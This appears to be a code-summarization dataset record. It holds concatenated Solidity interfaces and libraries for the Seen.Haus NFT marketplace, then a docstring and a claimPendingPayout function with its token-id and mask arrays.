ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; /** * @title IERC2981 interface * * @notice NFT Royalty Standard. * * See https://eips.ethereum.org/EIPS/eip-2981 */ interface IERC2981 is IERC165Upgradeable { /** * @notice Determine how much royalty is owed (if any) and to whom. * @param _tokenId - the NFT asset queried for royalty information * @param _salePrice - the sale price of the NFT asset specified by _tokenId * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for _salePrice */ function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns ( address receiver, uint256 royaltyAmount ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "../domain/SeenTypes.sol"; /** * @title IMarketHandler * * @notice Provides no functions, only common events to market handler facets. * * No ERC-165 identifier for this interface, not checked or supported. * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ interface IMarketHandler { // Events event RoyaltyDisbursed(uint256 indexed consignmentId, address indexed recipient, uint256 amount); event EscrowAgentFeeDisbursed(uint256 indexed consignmentId, address indexed recipient, uint256 amount); event FeeDisbursed(uint256 indexed consignmentId, address indexed recipient, uint256 amount); event PayoutDisbursed(uint256 indexed consignmentId, address indexed recipient, uint256 amount); event AudienceChanged(uint256 indexed consignmentId, SeenTypes.Audience indexed audience); event EthCredited(address indexed recipient, uint256 amount); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "./IMarketConfig.sol"; import "./IMarketConfigAdditional.sol"; import "./IMarketClerk.sol"; /** * @title IMarketController * * @notice Manages configuration and consignments used by the Seen.Haus contract suite. * * The ERC-165 identifier for this interface is: 0xbb8dba77 * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ interface IMarketController is IMarketClerk, IMarketConfig, IMarketConfigAdditional {} // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; /** * @title SeenConstants * * @notice Constants used by the Seen.Haus contract ecosystem. * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ contract SeenConstants { // Endpoint will serve dynamic metadata composed of ticket and ticketed item's info string internal constant ESCROW_TICKET_URI = "https://api.seen.haus/ticket/metadata/"; // Access Control Roles bytes32 internal constant ADMIN = keccak256("ADMIN"); // Deployer and any other admins as needed bytes32 internal constant SELLER = keccak256("SELLER"); // Approved sellers amd Seen.Haus reps bytes32 internal constant MINTER = keccak256("MINTER"); // Approved artists and Seen.Haus reps bytes32 internal constant ESCROW_AGENT = keccak256("ESCROW_AGENT"); // Seen.Haus Physical Item Escrow Agent bytes32 internal constant MARKET_HANDLER = keccak256("MARKET_HANDLER"); // Market Handler contracts bytes32 internal constant UPGRADER = keccak256("UPGRADER"); // Performs contract upgrades bytes32 internal constant MULTISIG = keccak256("MULTISIG"); // Admin role of MARKET_HANDLER & UPGRADER } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../interfaces/IMarketController.sol"; import "../../domain/SeenTypes.sol"; import "../diamond/DiamondLib.sol"; /** * @title MarketHandlerLib * * @dev Provides access to the the MarketHandler Storage and Intitializer slots for MarketHandler facets * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ library MarketHandlerLib { bytes32 constant MARKET_HANDLER_STORAGE_POSITION = keccak256("seen.haus.market.handler.storage"); bytes32 constant MARKET_HANDLER_INITIALIZERS_POSITION = keccak256("seen.haus.market.handler.initializers"); struct MarketHandlerStorage { // map a consignment id to an audience mapping(uint256 => SeenTypes.Audience) audiences; //s map a consignment id to a sale mapping(uint256 => SeenTypes.Sale) sales; // @dev map a consignment id to an auction mapping(uint256 => SeenTypes.Auction) auctions; // map an address to ETH credit available to withdraw mapping(address => uint256) addressToEthCredit; } struct MarketHandlerInitializers { // AuctionBuilderFacet initialization state bool auctionBuilderFacet; // AuctionRunnerFacet initialization state bool auctionRunnerFacet; // AuctionEnderFacet initialization state bool auctionEnderFacet; // SaleBuilderFacet initialization state bool saleBuilderFacet; // SaleRunnerFacet initialization state bool saleRunnerFacet; // SaleRunnerFacet initialization state bool saleEnderFacet; // EthCreditFacet initialization state bool ethCreditRecoveryFacet; } function marketHandlerStorage() internal pure returns (MarketHandlerStorage storage mhs) { bytes32 position = MARKET_HANDLER_STORAGE_POSITION; assembly { mhs.slot := position } } function marketHandlerInitializers() internal pure returns (MarketHandlerInitializers storage mhi) { bytes32 position = MARKET_HANDLER_INITIALIZERS_POSITION; assembly { mhi.slot := position } } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "../domain/SeenTypes.sol"; /** * @title IMarketController * * @notice Manages configuration and consignments used by the Seen.Haus contract suite. * @dev Contributes its events and functions to the IMarketController interface * * The ERC-165 identifier for this interface is: 0x57f9f26d * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ interface IMarketConfig { /// Events event NFTAddressChanged(address indexed nft); event EscrowTicketerAddressChanged(address indexed escrowTicketer, SeenTypes.Ticketer indexed ticketerType); event StakingAddressChanged(address indexed staking); event MultisigAddressChanged(address indexed multisig); event VipStakerAmountChanged(uint256 indexed vipStakerAmount); event PrimaryFeePercentageChanged(uint16 indexed feePercentage); event SecondaryFeePercentageChanged(uint16 indexed feePercentage); event MaxRoyaltyPercentageChanged(uint16 indexed maxRoyaltyPercentage); event OutBidPercentageChanged(uint16 indexed outBidPercentage); event DefaultTicketerTypeChanged(SeenTypes.Ticketer indexed ticketerType); /** * @notice Sets the address of the xSEEN ERC-20 staking contract. * * Emits a NFTAddressChanged event. * * @param _nft - the address of the nft contract */ function setNft(address _nft) external; /** * @notice The nft getter */ function getNft() external view returns (address); /** * @notice Sets the address of the Seen.Haus lots-based escrow ticketer contract. * * Emits a EscrowTicketerAddressChanged event. * * @param _lotsTicketer - the address of the items-based escrow ticketer contract */ function setLotsTicketer(address _lotsTicketer) external; /** * @notice The lots-based escrow ticketer getter */ function getLotsTicketer() external view returns (address); /** * @notice Sets the address of the Seen.Haus items-based escrow ticketer contract. * * Emits a EscrowTicketerAddressChanged event. * * @param _itemsTicketer - the address of the items-based escrow ticketer contract */ function setItemsTicketer(address _itemsTicketer) external; /** * @notice The items-based escrow ticketer getter */ function getItemsTicketer() external view returns (address); /** * @notice Sets the address of the xSEEN ERC-20 staking contract. * * Emits a StakingAddressChanged event. * * @param _staking - the address of the staking contract */ function setStaking(address payable _staking) external; /** * @notice The staking getter */ function getStaking() external view returns (address payable); /** * @notice Sets the address of the Seen.Haus multi-sig wallet. * * Emits a MultisigAddressChanged event. * * @param _multisig - the address of the multi-sig wallet */ function setMultisig(address payable _multisig) external; /** * @notice The multisig getter */ function getMultisig() external view returns (address payable); /** * @notice Sets the VIP staker amount. * * Emits a VipStakerAmountChanged event. * * @param _vipStakerAmount - the minimum amount of xSEEN ERC-20 a caller must hold to participate in VIP events */ function setVipStakerAmount(uint256 _vipStakerAmount) external; /** * @notice The vipStakerAmount getter */ function getVipStakerAmount() external view returns (uint256); /** * @notice Sets the marketplace fee percentage. * Emits a PrimaryFeePercentageChanged event. * * @param _primaryFeePercentage - the percentage that will be taken as a fee from the net of a Seen.Haus primary sale or auction * * N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100: * e.g, 1.75% = 175, 100% = 10000 */ function setPrimaryFeePercentage(uint16 _primaryFeePercentage) external; /** * @notice Sets the marketplace fee percentage. * Emits a SecondaryFeePercentageChanged event. * * @param _secondaryFeePercentage - the percentage that will be taken as a fee from the net of a Seen.Haus secondary sale or auction (after royalties) * * N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100: * e.g, 1.75% = 175, 100% = 10000 */ function setSecondaryFeePercentage(uint16 _secondaryFeePercentage) external; /** * @notice The primaryFeePercentage and secondaryFeePercentage getter */ function getFeePercentage(SeenTypes.Market _market) external view returns (uint16); /** * @notice Sets the external marketplace maximum royalty percentage. * * Emits a MaxRoyaltyPercentageChanged event. * * @param _maxRoyaltyPercentage - the maximum percentage of a Seen.Haus sale or auction that will be paid as a royalty */ function setMaxRoyaltyPercentage(uint16 _maxRoyaltyPercentage) external; /** * @notice The maxRoyaltyPercentage getter */ function getMaxRoyaltyPercentage() external view returns (uint16); /** * @notice Sets the marketplace auction outbid percentage. * * Emits a OutBidPercentageChanged event. * * @param _outBidPercentage - the minimum percentage a Seen.Haus auction bid must be above the previous bid to prevail */ function setOutBidPercentage(uint16 _outBidPercentage) external; /** * @notice The outBidPercentage getter */ function getOutBidPercentage() external view returns (uint16); /** * @notice Sets the default escrow ticketer type. * * Emits a DefaultTicketerTypeChanged event. * * Reverts if _ticketerType is Ticketer.Default * Reverts if _ticketerType is already the defaultTicketerType * * @param _ticketerType - the new default escrow ticketer type. */ function setDefaultTicketerType(SeenTypes.Ticketer _ticketerType) external; /** * @notice The defaultTicketerType getter */ function getDefaultTicketerType() external view returns (SeenTypes.Ticketer); /** * @notice Get the Escrow Ticketer to be used for a given consignment * * If a specific ticketer has not been set for the consignment, * the default escrow ticketer will be returned. * * @param _consignmentId - the id of the consignment * @return ticketer = the address of the escrow ticketer to use */ function getEscrowTicketer(uint256 _consignmentId) external view returns (address ticketer); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "../domain/SeenTypes.sol"; /** * @title IMarketController * * @notice Manages configuration and consignments used by the Seen.Haus contract suite. * @dev Contributes its events and functions to the IMarketController interface * * The ERC-165 identifier for this interface is: 0x57f9f26d * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ interface IMarketConfigAdditional { /// Events event AllowExternalTokensOnSecondaryChanged(bool indexed status); event EscrowAgentFeeChanged(address indexed escrowAgent, uint16 fee); /** * @notice Sets whether or not external tokens can be listed on secondary market * * Emits an AllowExternalTokensOnSecondaryChanged event. * * @param _status - boolean of whether or not external tokens are allowed */ function setAllowExternalTokensOnSecondary(bool _status) external; /** * @notice The allowExternalTokensOnSecondary getter */ function getAllowExternalTokensOnSecondary() external view returns (bool status); /** * @notice The escrow agent fee getter */ function getEscrowAgentFeeBasisPoints(address _escrowAgentAddress) external view returns (uint16); /** * @notice The escrow agent fee setter */ function setEscrowAgentFeeBasisPoints(address _escrowAgentAddress, uint16 _basisPoints) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "../domain/SeenTypes.sol"; /** * @title IMarketClerk * * @notice Manages consignments for the Seen.Haus contract suite. * * The ERC-165 identifier for this interface is: 0xec74481a * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ interface IMarketClerk is IERC1155ReceiverUpgradeable, IERC721ReceiverUpgradeable { /// Events event ConsignmentTicketerChanged(uint256 indexed consignmentId, SeenTypes.Ticketer indexed ticketerType); event ConsignmentFeeChanged(uint256 indexed consignmentId, uint16 customConsignmentFee); event ConsignmentPendingPayoutSet(uint256 indexed consignmentId, uint256 amount); event ConsignmentRegistered(address indexed consignor, address indexed seller, SeenTypes.Consignment consignment); event ConsignmentMarketed(address indexed consignor, address indexed seller, uint256 indexed consignmentId); event ConsignmentReleased(uint256 indexed consignmentId, uint256 amount, address releasedTo); /** * @notice The nextConsignment getter */ function getNextConsignment() external view returns (uint256); /** * @notice The consignment getter */ function getConsignment(uint256 _consignmentId) external view returns (SeenTypes.Consignment memory); /** * @notice Get the remaining supply of the given consignment. * * @param _consignmentId - the id of the consignment * @return uint256 - the remaining supply held by the MarketController */ function getUnreleasedSupply(uint256 _consignmentId) external view returns(uint256); /** * @notice Get the consignor of the given consignment * * @param _consignmentId - the id of the consignment * @return address - consigner's address */ function getConsignor(uint256 _consignmentId) external view returns(address); /** * @notice Registers a new consignment for sale or auction. * * Emits a ConsignmentRegistered event. * * @param _market - the market for the consignment. See {SeenTypes.Market} * @param _consignor - the address executing the consignment transaction * @param _seller - the seller of the consignment * @param _tokenAddress - the contract address issuing the NFT behind the consignment * @param _tokenId - the id of the token being consigned * @param _supply - the amount of the token being consigned * * @return Consignment - the registered consignment */ function registerConsignment( SeenTypes.Market _market, address _consignor, address payable _seller, address _tokenAddress, uint256 _tokenId, uint256 _supply ) external returns(SeenTypes.Consignment memory); /** * @notice Update consignment to indicate it has been marketed * * Emits a ConsignmentMarketed event. * * Reverts if consignment has already been marketed. * A consignment is considered as marketed if it has a marketHandler other than Unhandled. See: {SeenTypes.MarketHandler} * * @param _consignmentId - the id of the consignment */ function marketConsignment(uint256 _consignmentId, SeenTypes.MarketHandler _marketHandler) external; /** * @notice Release the consigned item to a given address * * Emits a ConsignmentReleased event. * * Reverts if caller is does not have MARKET_HANDLER role. * * @param _consignmentId - the id of the consignment * @param _amount - the amount of the consigned supply to release * @param _releaseTo - the address to transfer the consigned token balance to */ function releaseConsignment(uint256 _consignmentId, uint256 _amount, address _releaseTo) external; /** * @notice Clears the pending payout value of a consignment * * Emits a ConsignmentPayoutSet event. * * Reverts if: * - caller is does not have MARKET_HANDLER role. * - consignment doesn't exist * * @param _consignmentId - the id of the consignment * @param _amount - the amount of that the consignment's pendingPayout must be set to */ function setConsignmentPendingPayout(uint256 _consignmentId, uint256 _amount) external; /** * @notice Set the type of Escrow Ticketer to be used for a consignment * * Default escrow ticketer is Ticketer.Lots. This only needs to be called * if overriding to Ticketer.Items for a given consignment. * * Emits a ConsignmentTicketerSet event. * Reverts if consignment is not registered. * * @param _consignmentId - the id of the consignment * @param _ticketerType - the type of ticketer to use. See: {SeenTypes.Ticketer} */ function setConsignmentTicketer(uint256 _consignmentId, SeenTypes.Ticketer _ticketerType) external; /** * @notice Set a custom fee percentage on a consignment (e.g. for "official" SEEN x Artist drops) * * Default escrow ticketer is Ticketer.Lots. This only needs to be called * if overriding to Ticketer.Items for a given consignment. * * Emits a ConsignmentFeeChanged event. * * Reverts if consignment doesn't exist * * * @param _consignmentId - the id of the consignment * @param _customFeePercentageBasisPoints - the custom fee percentage basis points to use * * N.B. _customFeePercentageBasisPoints percentage value as an unsigned int by multiplying the percentage by 100: * e.g, 1.75% = 175, 100% = 10000 */ function setConsignmentCustomFee(uint256 _consignmentId, uint16 _customFeePercentageBasisPoints) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155ReceiverUpgradeable is IERC165Upgradeable { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { IAccessControlUpgradeable } from "@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol"; import { IDiamondCut } from "../../interfaces/IDiamondCut.sol"; /** * @title DiamondLib * * @notice Diamond storage slot and supported interfaces * * @notice Based on Nick Mudge's gas-optimized diamond-2 reference, * with modifications to support role-based access and management of * supported interfaces. * * Reference Implementation : https://github.com/mudgen/diamond-2-hardhat * EIP-2535 Diamond Standard : https://eips.ethereum.org/EIPS/eip-2535 * * N.B. Facet management functions from original `DiamondLib` were refactor/extracted * to JewelerLib, since business facets also use this library for access control and * managing supported interfaces. * * @author Nick Mudge <[email protected]> (https://twitter.com/mudgen) * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ library DiamondLib { bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("diamond.standard.diamond.storage"); struct DiamondStorage { // maps function selectors to the facets that execute the functions. // and maps the selectors to their position in the selectorSlots array. // func selector => address facet, selector position mapping(bytes4 => bytes32) facets; // array of slots of function selectors. // each slot holds 8 function selectors. mapping(uint256 => bytes32) selectorSlots; // The number of function selectors in selectorSlots uint16 selectorCount; // Used to query if a contract implements an interface. // Used to implement ERC-165. mapping(bytes4 => bool) supportedInterfaces; // The Seen.Haus AccessController IAccessControlUpgradeable accessController; } /** * @notice Get the Diamond storage slot * * @return ds - Diamond storage slot cast to DiamondStorage */ function diamondStorage() internal pure returns (DiamondStorage storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } } /** * @notice Add a supported interface to the Diamond * * @param _interfaceId - the interface to add */ function addSupportedInterface(bytes4 _interfaceId) internal { // Get the DiamondStorage struct DiamondStorage storage ds = diamondStorage(); // Flag the interfaces as supported ds.supportedInterfaces[_interfaceId] = true; } /** * @notice Implementation of ERC-165 interface detection standard. * * @param _interfaceId - the sighash of the given interface */ function supportsInterface(bytes4 _interfaceId) internal view returns (bool) { // Get the DiamondStorage struct DiamondStorage storage ds = diamondStorage(); // Return the value return ds.supportedInterfaces[_interfaceId] || false; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title IDiamondCut * * @notice Diamond Facet management * * Reference Implementation : https://github.com/mudgen/diamond-2-hardhat * EIP-2535 Diamond Standard : https://eips.ethereum.org/EIPS/eip-2535 * * The ERC-165 identifier for this interface is: 0x1f931c1c * * @author Nick Mudge <[email protected]> (https://twitter.com/mudgen) */ interface IDiamondCut { event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); enum FacetCutAction {Add, Replace, Remove} struct FacetCut { address facetAddress; FacetCutAction action; bytes4[] functionSelectors; } /** * @notice Add/replace/remove any number of functions and * optionally execute a function with delegatecall * * _calldata is executed with delegatecall on _init * * @param _diamondCut Contains the facet addresses and function selectors * @param _init The address of the contract or facet to execute _calldata * @param _calldata A function call, including function selector and arguments */ function diamondCut( FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata ) external; }
* @notice Claim a pending payout on an ongoing sale without closing/cancelling Funds are disbursed as normal. See: {MarketHandlerBase.disburseFunds} Reverts if: - Sale doesn't exist or hasn't started - There is no pending payout - Called by any address other than seller - The sale is sold out (in which case closeSale should be called) Does not emit its own event, but disburseFunds emits an event @param _consignmentId - id of the consignment being sold/ Get Market Handler Storage slot Get consignment Ensure that there is a pending payout & that caller is the seller Ensure that the sale has not yet sold out Make sure the sale exists and is running Distribute the funds (handles royalties, staking, multisig, and seller)
function claimPendingPayout(uint256 _consignmentId) external override { MarketHandlerLib.MarketHandlerStorage storage mhs = MarketHandlerLib.marketHandlerStorage(); Consignment memory consignment = getMarketController().getConsignment(_consignmentId); require((consignment.pendingPayout > 0) && (consignment.seller == msg.sender)); require((consignment.supply - consignment.releasedSupply) > 0, "sold out - use closeSale"); Sale storage sale = mhs.sales[_consignmentId]; require((sale.state == State.Running) && (sale.start != 0), "Sale hasn't started or non-existent"); getMarketController().setConsignmentPendingPayout(consignment.id, 0); disburseFunds(_consignmentId, consignment.pendingPayout); }
14,395,895
[ 1, 9762, 279, 4634, 293, 2012, 603, 392, 30542, 272, 5349, 2887, 7647, 19, 4169, 3855, 310, 478, 19156, 854, 1015, 70, 295, 730, 487, 2212, 18, 2164, 30, 288, 3882, 278, 1503, 2171, 18, 2251, 70, 295, 307, 42, 19156, 97, 868, 31537, 309, 30, 300, 348, 5349, 3302, 1404, 1005, 578, 13342, 1404, 5746, 300, 6149, 353, 1158, 4634, 293, 2012, 300, 11782, 635, 1281, 1758, 1308, 2353, 29804, 300, 1021, 272, 5349, 353, 272, 1673, 596, 261, 267, 1492, 648, 1746, 30746, 1410, 506, 2566, 13, 9637, 486, 3626, 2097, 4953, 871, 16, 1496, 1015, 70, 295, 307, 42, 19156, 24169, 392, 871, 225, 389, 591, 2977, 475, 548, 300, 612, 434, 326, 1959, 3515, 3832, 272, 1673, 19, 968, 6622, 278, 4663, 5235, 4694, 968, 1959, 3515, 7693, 716, 1915, 353, 279, 4634, 293, 2012, 473, 716, 4894, 353, 326, 29804, 7693, 716, 326, 272, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
